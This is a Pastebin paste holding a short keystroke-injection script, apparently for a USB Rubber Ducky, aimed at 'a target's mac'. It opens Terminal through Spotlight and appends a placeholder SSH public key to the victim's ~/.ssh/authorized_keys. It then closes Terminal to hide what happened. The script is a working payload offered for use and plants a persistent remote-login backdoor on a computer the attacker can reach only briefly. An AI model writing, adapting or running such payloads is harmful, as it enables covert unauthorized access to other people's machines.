Guest User

Untitled

a guest
Apr 25th, 2018
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.39 KB | None | 0 0
  1. REM This script adds a ssh public key to the authorized_keys file on a target's mac.
  2.  
  3. DELAY 1000
  4. COMMAND SPACE
  5. DELAY 500
  6. STRING Terminal
  7. DELAY 500
  8. ENTER
  9. DELAY 800
  10. STRING echo 'RSA_PUB_ID' >> ~/.ssh/authorized_keys
  11. ENTER
  12. DELAY 1000
  13. STRING killall Terminal
  14. ENTER
  15.  
  16. REM Note: you may shorten the times if you think they are too slow. I made them to accomodate older macs that can't get around very fast.
Add Comment
Please, Sign In to add comment